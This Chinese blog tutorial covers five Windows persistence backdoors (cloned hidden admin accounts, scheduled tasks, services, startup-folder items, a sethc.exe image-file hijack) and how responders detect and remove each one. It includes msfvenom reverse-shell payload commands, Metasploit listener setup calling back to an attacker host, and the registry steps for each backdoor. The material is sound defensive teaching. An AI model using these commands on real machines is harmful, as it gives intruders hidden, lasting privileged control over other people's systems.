🍬 博主介绍
👨🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!
文章目录
- 🍬 博主介绍
- 1.1 Windows后门应急-1:windows后门账户
- 1.1.1 隐藏账户介绍
- 1.1.1.1 简介
- 1.1.1.2 原理
- 1.1.1.3 实现步骤
- 1.1.1.4 防御措施
- 1.1.2 隐藏账户创建实战
- 1.1.2.1 前提条件
- 1.1.2.2 环境介绍
- 1.1.2.3 创建一个隐藏账号
- 1.1.2.4 隐藏不彻底
- 1.1.2.4.1 管理账户查看
- 1.1.2.4.2 管理工具查看
- 1.1.2.4.3 注销登录页面查看
- 1.1.2.5 修改注册表
- 1.1.2.5.1 首先打开注册表编辑器
- 1.1.2.5.2 确保可以看到SAM路径下的文件
- 1.1.2.5.3 找到用户对应的表
- 1.1.2.5.4 替换F值
- 1.1.2.5.5 导出需隐藏用户的表
- 1.1.2.5.6 删除需要隐藏的用户
- 1.1.2.5.7 导入需隐藏用户的表
- 1.1.2.5.8 隐藏状态
- 1.1.2.6 登陆界面隐藏账户
- 1.1.2.7 用户被完全隐藏
- 1.1.2.8用户正常登录
- 1.1.3 隐藏账户应急实战
- 1.1.3.1 注册表中用户
- 1.1.3.2 管理账户中用户
- 1.1.3.3 管理工具中用户
- 1.1.3.4 删除隐藏账户
- 1.2 Windows后门应急-2:计划任务后门
- 1.2.1 计划任务后门介绍
- 1.2.1.1 简介
- 1.2.1.2 原理
- 1.2.1.3 实现步骤
- 1.2.1.4 防御措施
- 1.2.2 计划任务后门创建实战
- 1.2.2.1 前提条件
- 1.2.2.2 环境介绍
- 1.2.2.3 利用MSF生成一个EXE类型的后门木马
- 1.2.2.4 MSF 启动监听
- 1.2.2.5 将创建的后门上传到目标windows机器
- 1.2.2.6 创建计划任务后门
- 1.2.2.7 windows10权限丢失
- 1.2.3 计划任务后门应急实战
- 1.2.3.1 查看网络连接
- 1.2.3.2 分析找到源头
- 1.2.3.3 应急处置
- 1.2.3.4 计划任务分析
- 1.2.3.5 删除计划任务
- 1.3 Windows后门应急-3:windows服务后门
- 1.3.1 windows服务后门介绍
- 1.3.1.1 简介
- 1.3.1.2 原理
- 1.3.1.3 实现步骤
- 1.3.1.4 防御措施
- 1.3.2 windows服务后门创建实战
- 1.3.2.1 前提条件
- 1.3.2.2 环境介绍
- 1.3.2.3 利用MSF生成一个EXE类型的后门木马
- 1.3.2.4 MSF 启动监听
- 1.3.2.5 将创建的后门上传到目标windows机器
- 1.3.2.6 创建后门自启动服务
- 1.3.2.7 windows10权限丢失
- 1.3.3 windows服务后门应急实战
- 1.3.3.1 查看网络连接
- 1.3.3.2 分析找到源头
- 1.3.3.3 应急处置
- 1.3.3.4 启动项分析
- 1.3.3.5 完全处置
- 1.4 Windows后门应急-4:启动项后门
- 1.4.1 启动项后门介绍
- 1.4.1.1 简介
- 1.4.1.2 原理
- 1.4.1.3 实现步骤
- 1.4.1.4 防御措施
- 1.4.1.5 应用场景
- 1.4.2 启动项后门创建实战
- 1.4.2.1 启动项后门演示
- 1.4.2.1.1 前提条件
- 1.4.2.1.2 环境介绍
- 1.4.2.1.3 利用MSF生成一个EXE类型的后门木马
- 1.4.2.1.4 MSF 启动监听
- 1.4.2.1.5 将后门放在 Windows启动项
- 1.4.2.1.6 重启 windows
- 1.4.2.1.7 windows10权限丢失
- 1.4.3 启动项后门后门应急实战
- 1.4.3.1 查看网络连接
- 1.4.3.2 分析找到源头
- 1.4.3.3 应急处置
- 1.4.3.4 注意事项
- 1.5 Windows后门应急-5:shift粘贴键后门
- 1.5.1 shift粘贴键后门介绍
- 1.5.1.1 简介
- 1.5.1.2 原理
- 1.5.1.3 实现步骤
- 1.5.1.4 防御措施
- 1.5.1.5 应用场景
- 1.5.2 shift粘贴键后门创建实战
- 1.5.2.1 shift粘贴键演示
- 1.5.2.2 shift粘贴键演示执行文件位置
- 1.5.2.3 sethc.exe映像劫持创建后门
- 1.5.2.3.1 简单介绍
- 1.5.2.3.2 实现步骤
- 1.5.2.3.2 后门创建成功
- 1.5.3 shift粘贴键后门应急实战
- 1.5.3.1 上传分析工具
- 1.5.3.2 分析找到源头
- 1.5.3.3 应急处置
- 1.5.3.4 应急处置成功
- 相关资源
1.1 Windows后门应急-1:windows后门账户
1.1.1 隐藏账户介绍
1.1.1.1 简介
隐藏账户是一种通过在系统中创建不易被发现的用户账户来实现持久化访问的技术。攻击者通常会创建一个具有高权限的隐藏账户,以便在后续的攻击中能够轻松地重新获得系统的控制权。
1.1.1.2 原理
隐藏账户的工作原理基于Windows操作系统中的用户账户管理机制。攻击者可以通过以下方式实现隐藏账户:
1.创建新账户
:使用工具或命令行创建一个新用户账户。
2.修改注册表
:修改Windows注册表中的相关项,以隐藏账户信息。
3.利用组策略
:通过组策略设置来限制账户信息的显示。
4.修改系统文件:直接修改系统文件,如SAM
数据库,以隐藏账户的存在。
1.1.1.3 实现步骤
1.
生成恶意程序
:首先,攻击者需要生成一个恶意可执行文件(例如,一个反向Shell或下载器)。
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -o malicious.exe
2.
创建隐藏账户
:使用PowerShell脚本或其他工具创建一个隐藏账户。以下是一个使用PowerShell创建隐藏账户的示例:
$NewUser = "HiddenUser"
$NewUserPassword = ConvertTo-SecureString "StrongPassword123!" -AsPlainText -Force
New-LocalUser -Name $NewUser -Password $NewUserPassword -AccountNeverExpires -UserMayNotChangePassword -PasswordNeverExpires
3.
修改注册表隐藏账户
:通过修改注册表项来隐藏账户信息。以下是一个使用PowerShell修改注册表的示例:
Set-ItemProperty -Path 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList' -Name "HiddenUser" -Value 0
4.
验证隐藏账户
:确认隐藏账户已成功创建并隐藏。可以使用以下命令查看账户列表:
Get-LocalUser | Select-Object Name, Enabled
1.1.1.4 防御措施
1.
定期检查账户列表
:管理员应定期检查系统中的用户账户列表,特别是那些不熟悉的账户或最近添加的账户。可以使用以下命令列出所有本地用户账户:
Get-LocalUser
2.
监控异常行为
:使用安全软件和入侵检测系统(IDS)监控系统中的异常行为,特别是那些涉及用户账户创建和修改的操作。
3.限制权限
:最小化用户和服务账户的权限,避免使用高权限账户进行日常操作。确保只有必要的服务和应用程序具有创建和管理用户账户的权限。
4.日志审计
:启用详细的系统日志记录,并定期审查日志文件,以发现任何可疑的账户活动。
5.更新和补丁管理
:保持操作系统和应用程序的最新状态,及时应用安全补丁,以修复已知的漏洞。
1.1.2 隐藏账户创建实战
1.1.2.1 前提条件
假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的administrator权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门,包括我们这里讲到的启动项后门。
1.1.2.2 环境介绍
靶机: windows Server2012
IP: 10.0.0.165
攻击机: kali
IP: 192.168.223.182
1.1.2.3 创建一个隐藏账号
net user powershell$ w123456! /add
添加powershell$隐藏用户
net localgroup administrators powershell$ /add
将powershell$用户添加进管理员组中
创建完成之后,输入net user 查看账户,发现我们创建的隐藏用户隐藏成功
net user
1.1.2.4 隐藏不彻底
虽然用net user 看不到,但是还有其他方式可以看到
1.1.2.4.1 管理账户查看
通过控制面板–用户账户–管理账户查看
1.1.2.4.2 管理工具查看
通过管理工具–计算机管理–本地用户和组–用户也可以看到
1.1.2.4.3 注销登录页面查看
这里也可以看到创建的隐藏账户
1.1.2.5 修改注册表
为了更好的隐藏新建的账户,还需要进行修改注册表文件操作。
1.1.2.5.1 首先打开注册表编辑器
regedit
1.1.2.5.2 确保可以看到SAM路径下的文件
找到
HKEY_LOCAL_MACHINE\SAM\SAM
,点击右键,选择权限
将Administrator
用户的权限,设置成完全控制
,
重新打开注册表,确保可以看到SAM路径下的文件
1.1.2.5.3 找到用户对应的表
其次前往
SAM/Domains/Account/Users/Names
处,选择Administrator
用户,在右侧的键值处可以找到对应的值如0x1f4
,然后从左侧的Users目录下可以找到对应的文件。
其次前往
SAM/Domains/Account/Users/Names
处,选择Administrator
用户,在右侧的键值处可以找到对应的值如0x3ec
,然后从左侧的Users
目录下可以找到对应的文件。
1.1.2.5.4 替换F值
然后从对应的
000001F4
文件中将键值对F的值复制出来。然后同理找到隐藏账户powershell$
所对应的文件,并将从Administrator
文件中复制出来的F值粘贴进powershell$
文件中。
把之前复制的f值粘贴到0x3ec的f值中
1.1.2.5.5 导出需隐藏用户的表
最后将
powershell$
和000003EC
从注册表中右键导出,并删除powershell$
用户,然后将刚刚导出的两个文件重新导入进注册表中即可实现powershell$
用户的隐藏。
导出powershell$
表
导出
000003EC
表
导出来的表如下
1.1.2.5.6 删除需要隐藏的用户
net user powershell$ /del
此时注册表
1.1.2.5.7 导入需隐藏用户的表
导入
000003EC
表
导入
powershell$
表
此时注册表
1.1.2.5.8 隐藏状态
管理账户下看不到隐藏用户
计算机管理用户下看不到隐藏用户
注销登录页面查看任然可以看到创建的隐藏账户
1.1.2.6 登陆界面隐藏账户
在注册表中进行设置,使用户不在登录界面显示。
终端中输入:regedit
回车打开注册表编辑器。
regedit
依次定位到:进入注册表
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\
右键新建项SpecialAccounts
右键新建项
UserList
右键新建项
WORD32
值
名称为需要隐藏的账户,值为0
值为0表示隐藏,值为1表示显示
最终如下
1.1.2.7 用户被完全隐藏
登录界面也看不到了
1.1.2.8用户正常登录
采用
powershell$
登录,成功登录
登陆进来用的是
administrator
的身份
1.1.3 隐藏账户应急实战
对比以下三张表数量及名称,发现
powershell$
隐藏用户
1.1.3.1 注册表中用户
查看注册表中
HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names
位置的用户名
1.1.3.2 管理账户中用户
控制面板–用户账户–管理账户
1.1.3.3 管理工具中用户
管理工具–计算机管理–本地用户和组–用户
1.1.3.4 删除隐藏账户
删除异常注册表
删除异常用户
1.2 Windows后门应急-2:计划任务后门
1.2.1 计划任务后门介绍
1.2.1.1 简介
计划任务后门是一种利用Windows操作系统的计划任务功能来维持持久访问的技术。通过在目标系统上创建计划任务,攻击者可以确保恶意程序在特定时间或条件下自动执行,从而实现对系统的持续控制。
1.2.1.2 原理
计划任务后门的工作原理基于Windows的计划任务调度器(Task Scheduler)。攻击者可以通过以下方式实现计划任务后门:
1.创建计划任务
:攻击者使用命令行工具如schtasks
或PowerShell脚本创建一个计划任务,该任务将在指定的时间或事件触发时执行恶意程序。
2.设置触发条件
:计划任务可以设置为在系统启动时、用户登录时或特定的时间间隔内运行。这使得恶意程序能够在后台静默运行,不易被检测到。
3.隐藏和伪装
:为了提高隐蔽性,攻击者可能会将计划任务配置为以系统账户运行,并尝试将其伪装成合法的系统进程或服务。
1.2.1.3 实现步骤
1.
生成恶意程序
:首先,攻击者需要生成一个恶意可执行文件(例如,一个反向Shell或下载器)。msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -f exe -o malicious.exe
2.
创建计划任务
:使用schtasks
命令或PowerShell脚本创建一个计划任务。以下是一个使用PowerShell创建计划任务的示例:$action = New-ScheduledTaskAction -Execute 'C:\path\to\malicious.exe' $trigger = New-ScheduledTaskTrigger -AtStartup Register-ScheduledTask -Action $action -Trigger $trigger -TaskName "MyBackdoor" -Description "Backdoor task" -User "SYSTEM" -RunLevel Highest
3.
验证计划任务
:确认计划任务已成功创建并配置正确。可以使用以下命令查看计划任务列表:Get-ScheduledTask | Where-Object {$_.TaskName -eq "MyBackdoor"}
4.
测试后门
:重启系统或等待触发条件满足,以确保恶意程序能够按预期执行。
1.2.1.4 防御措施
1.
定期检查计划任务
:管理员应定期检查系统中的计划任务,特别是那些不熟悉的任务或最近添加的任务。可以使用以下命令列出所有计划任务:Get-ScheduledTask
2.
监控异常行为
:使用安全软件和入侵检测系统(IDS)监控系统中的异常行为,特别是那些涉及计划任务创建和修改的操作。
3.限制权限
:最小化用户和服务账户的权限,避免使用高权限账户进行日常操作。确保只有必要的服务和应用程序具有创建和管理计划任务的权限。
4.日志审计
:启用详细的系统日志记录,并定期审查日志文件,以发现任何可疑的计划任务活动。
5.更新和补丁管理
:保持操作系统和应用程序的最新状态,及时应用安全补丁,以修复已知的漏洞。
1.2.2 计划任务后门创建实战
1.2.2.1 前提条件
假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的administrator权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门,包括我们这里讲到的启动项后门。
1.2.2.2 环境介绍
靶机: windows 10
IP: 10.0.0.165
攻击机: kali
IP: 10.0.0.128
1.2.2.3 利用MSF生成一个EXE类型的后门木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -f exe -o PowerShell.exe
1.2.2.4 MSF 启动监听
在kali上监听端口55555,重启windows10之后马上就接收到目标机弹回来的shell
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.128
set lport 55555
run
1.2.2.5 将创建的后门上传到目标windows机器
我这里时采用的python起服务的方式,当然采用其他任何方式都行,只要上传到机器上面就行。
kali起python服务
python -m http.server 80
windows访问kali的python服务下载PowerShell.exe
1.2.2.6 创建计划任务后门
在目标机内执行以下指令,创建一个wixoage计划任务,每一分钟执行一次PowerShell.exe,PowerShell.exe我放在C盘下 。schtasks命令详解
schtasks /create /tn PowerShell /sc minute /mo 1 /tr C:\PowerShell.exe /ru system /f
查看计划任务成功创建,如下图所示:
schtasks /query /tn "PowerShell" /fo LIST /v
打开计划任务GUI程序进行查询
control schedtasks
1.2.2.7 windows10权限丢失
shell
成功反弹
1.2.3 计划任务后门应急实战
1.2.3.1 查看网络连接
netstat -ano
工具 TCPView 查看网络连接装状况, TCPView参考 。
因为每一分钟或者几分钟定时任务才会执行一次,使用 netstat -ano命令查看的话,只会查看当前时间的网络连接状态,时间把握不准的话不一定可以查看到程序异常连接,因此推荐使用TCPView,TCPView运行后可显示本机内存中执行的所有进程名、协议名称、本地地址+端口号、远程地址+端口号及它的状态,非常方便。
在windows10上打开TCPView,如下图所示,可以看到名字为PowerShell.exe的进程,其远程地址是10.0.0.128:55555,PID是746
但是 TCPView 流量检测过程中,PowerShell.exe程序一会儿红色一会儿绿色,像每个一分钟或者几分钟执行一次PowerShell.exe程序,推测可能存在定时任务
1.2.3.2 分析找到源头
通过PID号查找该进程文件所在的位置
wmic process get name,executablepath,processid|findstr 764
发现异常程序所在位置:
C:\PowerShell.exe PowerShell.exe 420
经检测发现C:\PowerShell.exe文件为后门木马
1.2.3.3 应急处置
删除发现的恶意文件
PowerShell.exe
(为了后续演示更清晰,我先不删除C:\PowerShell.exe文件),后续再慢慢排查存不存在服务等问题。
C:\PowerShell.exe
并通过
PID
号强制杀掉进程的命令
taskkill /f /pid 764
1.2.3.4 计划任务分析
查看计划任务,打开计划任务GUI程序进行查询
control schedtasks
发现名称为PowerShell的计划任务,每分钟执行一次PowerShell.exe。
1.2.3.5 删除计划任务
命令删除
schtasks /delete /tn "PowerShell" /f
GUI删除
1.3 Windows后门应急-3:windows服务后门
1.3.1 windows服务后门介绍
在Windows系统中还有一个重要的机制,就是服务。通常大部分的服务都拥有SYSTEM权限,如果攻击者利用Windows的服务机制创建一个后门服务,那么这个后门将比一般的持久化方法更为强健。
1.3.1.1 简介
Windows服务后门是一种利用Windows操作系统中的服务功能来实现持久化访问的技术。通过将恶意程序安装为Windows服务,攻击者可以确保该程序在系统启动时自动运行,从而维持对系统的长期控制。
1.3.1.2 原理
Windows服务后门的工作原理基于Windows的服务控制管理器(Service Control Manager, SCM)。攻击者可以通过以下方式实现Windows服务后门:
1.创建Windows服务
:攻击者使用工具或脚本创建一个Windows服务,该服务将在系统启动时自动运行。
2.配置服务属性
:配置服务的启动类型、账户信息和其他属性,以确保服务能够在适当的条件下运行。
3.加载恶意负载
:将恶意程序作为服务的可执行文件,或者通过服务启动另一个恶意程序。
1.3.1.3 实现步骤
1.
生成恶意程序
:首先,攻击者需要生成一个恶意可执行文件(例如,一个反向Shell或下载器)。msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -o malicious.exe
2.
创建服务
:使用sc
命令或PowerShell脚本创建一个Windows服务。以下是一个使用PowerShell创建服务的示例:$binaryPath = "C:\path\to\malicious.exe" New-Service -Name "MyBackdoorService" -BinaryPathName $binaryPath -DisplayName "My Backdoor Service" -StartupType Automatic
3.
启动服务
:启动刚刚创建的服务,以确保它在系统启动时运行。Start-Service -Name "MyBackdoorService"
4.
验证服务状态
:确认服务已成功创建并正在运行。可以使用以下命令查看服务状态:Get-Service -Name "MyBackdoorService"
1.3.1.4 防御措施
1.
定期检查服务列表
:管理员应定期检查系统中的服务列表,特别是那些不熟悉的服务或最近添加的服务。可以使用以下命令列出所有服务:Get-Service
2.
监控异常行为
:使用安全软件和入侵检测系统(IDS)监控系统中的异常行为,特别是那些涉及服务创建和修改的操作。
3.限制权限
:最小化用户和服务账户的权限,避免使用高权限账户进行日常操作。确保只有必要的服务和应用程序具有创建和管理服务的权限。
4.日志审计
:启用详细的系统日志记录,并定期审查日志文件,以发现任何可疑的服务活动。
5.更新和补丁管理
:保持操作系统和应用程序的最新状态,及时应用安全补丁,以修复已知的漏洞。
1.3.2 windows服务后门创建实战
1.3.2.1 前提条件
假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的administrator权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门,包括我们这里讲到的启动项后门。
1.3.2.2 环境介绍
靶机: windows 10
IP: 10.0.0.165
攻击机: kali
IP: 10.0.0.128
1.3.2.3 利用MSF生成一个EXE类型的后门木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -f exe -o PowerShell.exe
1.3.2.4 MSF 启动监听
在kali上监听端口55555,重启windows10之后马上就接收到目标机弹回来的shell
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.128
set lport 55555
run
1.3.2.5 将创建的后门上传到目标windows机器
我这里时采用的python起服务的方式,当然采用其他任何方式都行,只要上传到机器上面就行。
kali起python服务
python -m http.server 80
windows访问kali的python服务下载PowerShell.exe
1.3.2.6 创建后门自启动服务
创建名字为PowerShellserver的服务,我把PowerShell.exe 放在了C盘下
sc create "PowerShellserver" binpath= "C:\PowerShell.exe"
设置服务的描述字符串
sc description "PowerShellserver" "PowerShellserver"
设置这个服务为自动启动
sc config "PowerShellserver" start= auto
启动服务
net start "PowerShellserver"
服务创建成功
1.3.2.7 windows10权限丢失
shell
成功反弹
1.3.3 windows服务后门应急实战
1.3.3.1 查看网络连接
使用命令
netstat -ano
是可以查看到异常连接,重点查看ESTABLISHED
连接。
netstat -ano
1.3.3.2 分析找到源头
通过PID号查找该进程文件所在的位置
wmic process get name,executablepath,processid|findstr 6352
发现异常程序所在位置:
C:\PowerShell.exe PowerShell.exe 420
经检测发现C:\PowerShell.exe文件为后门木马
1.3.3.3 应急处置
删除发现的恶意文件
PowerShell.exe
(为了后续演示更清晰,我先不删除C:\PowerShell.exe文件),后续再慢慢排查存不存在服务等问题。
C:\PowerShell.exe
并通过
PID
号强制杀掉进程的命令
taskkill /f /pid 420
1.3.3.4 启动项分析
上述步骤我们成功断开了黑客的连接,接着我们对进行分析,可以使用
Autoruns
等启动项工具进行分析,也可以手工进行分析。
Autoruns 参考文章及工具获取:https://blog.csdn.net/qq_51577576/article/details/130119164
这里我是用Autoruns 进行分析
粉色
: 表示该条目对应的应用没有数字签名、签名不匹配或者没有发行商信息(可疑程序一般都是粉色)
黄色
: 表示该启动条目对应的文件已经不存在了(可疑程序也可能是黄色)
绿
: 表示与之前保存的启动项配置比较,对比出来的差异将以绿色高亮进行显示。
首先查看 everything(所有项目,意思是:全部的开机自启动项都在这)
然后查看服务
查看这两处发现,有两个服务进程是可疑的粉红色
接下来查看所有的“粉红色”的程序,并且将程序放在微步云沙箱去检测,经检测发现C:\PowerShell.exe文件为后门木马。
1.3.3.5 完全处置
删除服务,如果删不掉,可以尝试先禁用。
删除文件
1.4 Windows后门应急-4:启动项后门
1.4.1 启动项后门介绍
1.4.1.1 简介
Windows启动项后门是指攻击者通过修改系统设置,使得在每次计算机启动时自动执行特定的恶意程序或脚本,从而实现对目标系统的持续控制。这种后门通常用于在攻击者获得初始访问权限后,确保他们可以长期保持对系统的控制权,即使系统重启也不会丢失访问权限。
1.4.1.2 原理
Windows启动项后门的原理基于操作系统的启动过程。在Windows系统中,有一些特定的文件夹和注册表项会在系统启动时被自动加载和执行。攻击者可以通过在这些位置添加恶意程序或脚本,使它们在系统启动时自动运行。
1.4.1.3 实现步骤
生成后门程序
:使用工具如Metasploit生成一个EXE类型的后门木马。
放置后门文件
:将生成的后门文件放置在系统启动文件夹中,例如C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp或用户级的启动文件夹C:\Users\用户名\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup。
隐藏后门文件
:为了提高隐蔽性,可以使用文件隐藏技巧对后门文件进行隐藏处理。
添加自启动服务
:将后门程序注册为服务,并设置为自动启动,这样即使在没有用户登录的情况下,后门程序也会运行。
利用组策略
:通过组策略添加启动脚本,利用组策略的自启动策略来加载后门文件。
注册表自启动
:修改注册表中的自启动键值,添加后门程序的路径,使其在系统启动时自动运行。
1.4.1.4 防御措施
定期检查启动项:定期检查系统的启动文件夹和注册表中的自启动项,删除不明或可疑的程序。 使用安全软件:安装可靠的杀毒软件和防火墙,定期更新病毒库和系统补丁,以减少恶意软件感染的风险。 限制权限:对于敏感操作,如修改注册表和启动文件夹,应限制只有管理员权限的用户才能执行。 监控网络连接:使用命令如
netstat -ano`查看异常网络连接,通过PID号查找并终止可疑进程。
文件完整性监控:使用文件完整性监控工具,监控关键系统文件的变化,及时发现并响应潜在的威胁。
1.4.1.5 应用场景
权限维持
:在成功入侵目标系统后,攻击者通常会植入后门程序,以便在系统重启后仍然能够保持访问权限。
远程控制
:通过后门程序,攻击者可以在不被察觉的情况下远程控制目标系统,执行各种恶意操作。
数据窃取
:后门程序可以用于定期收集并发送目标系统的敏感数据,如密码、个人信息等。
持久化攻击
:通过不断更新和隐藏后门程序,攻击者可以实现对目标系统的长期控制,难以被发现和清除。
1.4.2 启动项后门创建实战
1.4.2.1 启动项后门演示
1.4.2.1.1 前提条件
假设在攻击的过程中,我们通过利用各种getshell手段,不仅成功渗透进了目标服务器的防御体系,还进一步拿到了具有最高控制权限的administrator权限,这意味着我们已经能够完全掌控这台服务器,可以执行任何我们需要的操作。这时候我们需要进行权限维持,从而创建各种后门,包括我们这里讲到的启动项后门。
1.4.2.1.2 环境介绍
靶机: windows 10
IP: 10.0.0.158
攻击机: kali
IP: 10.0.0.128
1.4.2.1.3 利用MSF生成一个EXE类型的后门木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.128 lport=55555 -f exe -o PowerShell.exe
1.4.2.1.4 MSF 启动监听
在kali上监听端口55555,重启windows10之后马上就接收到目标机弹回来的shell
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.0.0.128
set lport 55555
run
1.4.2.1.5 将后门放在 Windows启动项
「开始」菜单
是Windows计算机在启动时都会访问到的路径,那么将PowerShell.exe后门文件放在启动项中,那么服务器每次重启都会运行该后门,从而达到权限维持的目的
「开始」菜单
启动项指示了启动文件夹的位置,具体位置如下,放那个位置都行,最好都放:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup
1.4.2.1.6 重启 windows
目标机每次重启都会启动
PowerShell.exe
后门程序。
1.4.2.1.7 windows10权限丢失
shell
成功反弹
1.4.3 启动项后门后门应急实战
1.4.3.1 查看网络连接
使用命令
netstat -ano
是可以查看到异常连接,重点查看ESTABLISHED
连接。
netstat -ano
1.4.3.2 分析找到源头
通过PID号查找该进程文件所在的位置
wmic process get name,executablepath,processid|findstr 7456
发现异常程序所在位置:
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\wxiaoge.exe PowerShell.exe
1.4.3.3 应急处置
删除发现的恶意文件
PowerShell.exe
c:\programdata\microsoft\windows\start menu\programs\startup\PowerShell.exe
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup\PowerShell.exe
并通过
PID
号强制杀掉进程的命令
taskkill /f /pid 2920
1.4.3.4 注意事项
如果黑客与win10机器没有处于连接状态,我们可以通过其他的一些分析手段进行分析,如使用
Autoruns
等启动项工具进行分析,也可以手工进行分析。
Autoruns 参考文章及工具获取:
https://blog.csdn.net/qq_51577576/article/details/130119164
1.5 Windows后门应急-5:shift粘贴键后门
1.5.1 shift粘贴键后门介绍
1.5.1.1 简介
Shift粘贴键后门是一种在Windows操作系统中利用粘滞键(Sticky Keys)功能创建的后门,通过连续按5次Shift键触发。这种后门可以绕过系统的安全控制措施,允许攻击者在未登录的情况下执行命令或脚本。
1.5.1.2 原理
粘滞键是Windows系统中为方便无法同时按下多个键的用户而设计的辅助功能。当用户连续按5次Shift键时,会弹出粘滞键设置窗口。
攻击者可以通过修改注册表或使用其他方法,将粘滞键对应的程序(通常是sethc.exe
)替换为其他可执行文件,如命令提示符(cmd.exe)或其他恶意程序。
1.5.1.3 实现步骤
确保目标系统上已启用粘滞键功能。
找到粘滞键的可执行文件(通常位于C:\Windows\System32\sethc.exe
)。
将该文件替换为想要执行的命令或脚本。例如,可以将cmd.exe复制到该位置,并命名为sethc.exe。
测试后门是否成功。连续按5次Shift键,应能看到被替换的程序运行。
1.5.1.4 防御措施
定期检查系统文件和注册表项,确保它们未被篡改。
禁用不必要的辅助功能,如粘滞键,以减少潜在的安全风险。
使用杀毒软件和防火墙等安全工具,保护系统免受恶意软件的攻击。
1.5.1.5 应用场景
Shift粘贴键后门通常用于权限维持,即在攻击者已经获得系统访问权限后,通过设置后门来保持对系统的长期控制。
它也可以作为一种隐蔽的入侵手段,使攻击者能够在不引起系统管理员注意的情况下执行恶意操作。
1.5.2 shift粘贴键后门创建实战
1.5.2.1 shift粘贴键演示
粘滞键是电脑使用中的一种快捷键,一般连按五次 shift 会出现粘滞键提示,粘滞键是专为同时按下两个或多个键有困难的人而设计的, 粘滞键开启后,可以先按一个键位,再按另一键位,而不是同时按下两个键位,方便某些因身体原因而无法同时按下多键的人。
正常情况下我们连按五次 shift 键会弹出粘滞键
1.5.2.2 shift粘贴键演示执行文件位置
sethc.exe 就是 Windows 下的粘滞键,它的位置在
C:\Windows\System32\sethc.exe
1.5.2.3 sethc.exe映像劫持创建后门
1.5.2.3.1 简单介绍
映像劫持也被称为 IFEO(Image File Execution Options),在 WindowsNT 架构的系统里,IFEO 本是为一些在默认系统环境中运行时可能引发错误的程序执行体提供特殊的环境而设定的,但我们可以利用 Windows 的 IFEO 功能实现映像劫持。
这里我们通过映像劫持 sethc.exe ,以实现连按 5 次 shift 键调起 cmd.exe 命令行执行窗口。
1.5.2.3.2 实现步骤
Win+R 键入regedit 打开注册表
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options
在 Image File Execution Options 下新建项:sethc.exe
在 sethc.exe 下新建字符串值:名为 debugger
设置debugger值为 cmd.exe 的绝对路径:
C:\Windows\System32\cmd.exe
1.5.2.3.2 后门创建成功
确定后测试一下,连按 5 次 shift 键:
成功调起 cmd
Win+L 锁屏后测试一下:
尽管在没有密码,锁屏的情况下,依旧可以调起 cmd,并且是 system 权限
虚拟机连按5次 shift 键没调出来,后面用实体机拍的照
1.5.3 shift粘贴键后门应急实战
1.5.3.1 上传分析工具
上传蓝队工具 Autoruns 进行分析
参考文章及工具获取:
https://blog.csdn.net/qq_51577576/article/details/130119164
1.5.3.2 分析找到源头
查看发现多了两个镜像劫持,文件位置在注册表的
HKEY_LOCAL_MACHINE\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion\Image File ExecutionOption
HKEY_LOCAL_MACHINE\ SOFTWARE \ Microsoft \ Windows NT \ CurrentVersion\Image File ExecutionOption
右键跳转到注册表找到对呀选项进行查看,发现确实存在镜像劫持,植入了shift粘贴键后门
1.5.3.3 应急处置
删除sethc.exe即可,可以直接在注册表中删除。
1.5.3.4 应急处置成功
再次连按五次 shift 键会弹出粘滞键
相关资源
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-1:windows后门账户
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-2:计划任务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-3:windows服务后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-4:启动项后门
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-5:Shift 粘贴键后门